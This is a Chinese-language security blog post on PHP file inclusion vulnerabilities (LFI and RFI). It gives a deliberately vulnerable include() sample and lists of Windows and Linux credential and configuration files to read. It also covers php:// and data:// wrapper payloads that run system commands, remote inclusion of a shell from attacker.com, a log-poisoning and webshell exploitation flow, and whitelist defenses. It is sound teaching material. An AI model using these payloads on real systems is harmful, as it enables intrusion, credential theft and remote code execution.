文件包含漏洞

1463 字
7 分钟
文件包含漏洞

一、文件包含漏洞概述#

1.1 什么是文件包含漏洞?#

后端程序在包含文件的功能中,如果被包含的文件路径可被攻击者控制,导致攻击者提供的文件中的动态脚本代码被执行。

1.2 漏洞原理#

  • 程序使用了 include、require 等文件包含函数
  • 包含的文件路径来自用户输入(如 ?file=xxx)
  • 服务器未对用户输入进行严格过滤
  • 攻击者可以包含恶意文件 → 代码执行

1.3 漏洞危害#

危害说明
信息泄露读取系统敏感文件
代码执行包含恶意代码获取 Shell
GetShell配合文件上传或远程文件包含

二、漏洞分类#

类型英文说明
本地文件包含LFI (Local File Inclusion)包含服务器本地的文件
远程文件包含RFI (Remote File Inclusion)包含远程服务器上的文件(需开启 allow_url_include)

三、文件包含函数#

3.1 函数对比#

函数文件不存在时文件已包含过特点
include()警告,继续执行再次包含出错后脚本继续运行
require()致命错误,停止执行再次包含出错后脚本终止
include_once()警告,继续执行不重复包含防止重复包含
require_once()致命错误,停止执行不重复包含防止重复包含

3.2 错误行为对比#

情况includerequire
被包含文件不存在前段正常执行,后段继续仅前段执行,后段停止
被包含文件存在但有错误仅前段执行仅前段执行

四、本地文件包含(LFI)#

4.1 漏洞代码示例#

<?php
echo "<h1>文件包含demo</h1><br>";
include($_REQUEST['file']);
?>

访问:

http://target.com/include_demo.php?file=test.txt

如果 test.txt 中包含 PHP 代码,该代码会被执行。

4.2 什么情况下 PHP 代码会执行?#

✅ 结论:被包含文件中的 PHP 代码一定会被执行,与文件后缀名无关!

test.txt 内容:
下面有另外一个有效的php代码。<br>
<?php
echo "我是第二个运行的脚本的结果。<br>";
?>

访问 ?file=test.txt → 其中的 PHP 代码被执行。


五、远程文件包含(RFI)#

5.1 前提条件#

配置项值
allow_url_fopenOn
allow_url_includeOn(核心条件)

5.2 配置路径#

/etc/php/7.4/fpm/php.ini

5.3 重启生效#

Terminal window
# Linux
sudo systemctl restart php7.4-fpm

5.4 利用方式#

http://target.com/include_demo.php?file=http://attacker.com/test.txt

攻击者服务器上的 test.txt 包含恶意 PHP 代码,目标服务器会远程拉取并执行。


六、敏感文件路径(信息泄露)#

6.1 Windows 敏感文件#

路径内容
c:\windows\win.ini系统基本信息
c:\windows\my.iniMySQL 安装时 root 密码
c:\windows\system32\config\samWindows 管理员密码哈希
c:\windows\repair\sam系统初次安装密码
c:\windows\system32\inetsrv\MetaBase.xmlIIS 配置文件
c:\tomcat5.0\conf\resin.confTomcat 密码配置
C:\boot.ini系统版本信息
C:\ProgramFiles\mysql\my.iniMySQL 配置
C:/ProgramFiles/mysql/data/mysql/user.MYDMySQL root 账号
C:\windows\php.iniPHP 配置信息

6.2 Linux 敏感文件#

路径内容
/etc/passwd系统账号信息
/etc/shadow系统密码哈希
/etc/httpd/conf/httpd.confApache 配置
/etc/nginx/nginx.confNginx 配置
/etc/my.confMySQL 配置
/usr/etc/php.iniPHP 配置
/var/log/apache2/access.logApache 访问日志
/var/log/apache2/error.logApache 错误日志
/var/log/auth.log认证日志
/etc/rc.d/rc.local开机启动脚本
~/.bashrc终端启动项(Redhat)
/etc/bash.bashrc终端启动项(Debian)
/etc/sysconfig/network-scripts/ifcfg-eth0IP 配置
/root/.ssh/authorized_keysSSH 认证公钥
/root/.bash_history系统历史命令
/root/.mysql_historyMySQL 历史命令
/proc/mounts已挂载文件系统
/proc/config.gz内核配置文件

七、PHP 伪协议利用#

7.1 常见伪协议#

协议作用条件
php://filter读取文件源码(Base64 编码)无
php://inputPOST 数据作为 PHP 代码执行allow_url_include=On
data://数据流写入allow_url_include=On
phar://读取 ZIP 压缩包中的文件PHP 5.3+
zip://读取 ZIP 压缩包中的文件PHP 5.3+

7.2 php://filter(读取源码)#

Terminal window
# Base64 编码读取,避免直接执行
http://target.com/include.php?file=php://filter/read=convert.base64-encode/resource=config.php

作用: 读取 PHP 源码(否则会被执行而看不到源码)。

7.3 php://input(执行 POST 数据)#

Terminal window
# GET 参数
http://target.com/include.php?file=php://input
# POST 数据
<?php phpinfo(); ?>

条件: allow_url_include = On

7.4 data://(内联代码执行)#

Terminal window
# 直接执行
http://target.com/include.php?file=data://text/plain,<?php phpinfo();?>
# Base64 编码(推荐,避免特殊字符问题)
http://target.com/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

条件: allow_url_include = On

7.5 phar:// / zip://(读取压缩包)#

Terminal window
# 相对路径
http://target.com/include.php?file=phar://info.zip/phpinfo.txt
# 绝对路径
http://target.com/include.php?file=zip://c:/wamp/www/phpinclude/phpinfo.zip/phpinfo.txt

条件: PHP 5.3.0+


八、利用思路#

8.1 完整利用流程#

1. 发现文件包含参数(?file=、?page=、?url= 等)
2. 尝试本地文件包含(读取 /etc/passwd)
3. 如果成功 → LFI
├── 读取敏感文件获取信息
├── 包含日志文件(访问日志、错误日志)→ 注入代码到日志 → 包含执行
├── 包含上传的文件(头像、附件)→ 执行 Webshell
└── 包含 Session 文件 → 利用 Session 注入
4. 如果允许远程包含 → RFI
└── 包含远程恶意文件 → RCE
5. 使用伪协议
├── php://filter → 读取源码
├── php://input → 执行 POST 代码
└── data:// → 直接执行代码

8.2 关键判断#

问题答案
能读 /etc/passwd 吗?✅ LFI 确认
能执行代码吗?看是否包含 PHP 代码
allow_url_include 开启?✅ 可以用 php://input / data://
可以上传文件?✅ 包含上传后的文件路径

九、挖掘方法#

9.1 URL 特征识别#

搜索包含以下参数的 URL:

?file=
?page=
?src=
?s=
?from=
?img=
?u=
?link=
?linkk=
?share=
?wap=
?target=
?t=
?3g=
?display=
?sourceURI=
?imageURL=
?domain=
?res=
?resource=
?host=
?path=
?dir=
?show=
?data=
?load=
?read=

9.2 代码审计#

搜索 PHP 文件包含函数:

include(
include_once(
require(
require_once(

十、防御措施#

措施说明
关闭远程包含allow_url_include = Off
输入过滤过滤 ../、./、\、http://、https://
路径检查生成被包含文件路径后,正则检查是否合法
禁用危险函数disable_functions 包含 include、require 等(需谨慎)
白名单只允许包含指定目录下的文件

防御示例#

// 白名单防御
$allowed = ['home', 'about', 'contact'];
if (!in_array($_GET['file'], $allowed)) {
die('Invalid file');
}
include('./pages/' . $_GET['file'] . '.php');
// 路径过滤
$file = str_replace(['../', './', '\\'], '', $_GET['file']);
include('./pages/' . $file . '.php');

📌 快速参考卡片#

测试 Payload#

Terminal window
# 测试 LFI
?file=../../../../etc/passwd
?file=..\..\..\windows\win.ini
# 读取 PHP 源码
?file=php://filter/read=convert.base64-encode/resource=index.php
# 执行 POST 代码(allow_url_include=On)
?file=php://input
POST: <?php system('whoami'); ?>
# data:// 执行代码(allow_url_include=On)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
# 远程包含(allow_url_include=On)
?file=http://attacker.com/shell.txt

关键判断#

目标Payload
是否存在 LFI/etc/passwd 或 windows\win.ini
是否可执行代码包含含 PHP 代码的文件
allow_url_include尝试 php://input
读取源码php://filter

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

文件包含漏洞
https://blog.emberlag.com/posts/file-inclusion-vulnerability/
作者
3mb3rl4g
发布于
2026-09-21
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
3mb3rl4g
一名现实世界的沉默观察员
公告
把零散的思绪归档,我不着急写完,写得慢一点,刚好能让很久以后,还能在此刻的文字里找回共鸣。
分类
标签
最新动态
站点统计
文章
21
分类
2
标签
13
总字数
33,455
运行时长
0 天
最后活动
0 天前
文章目录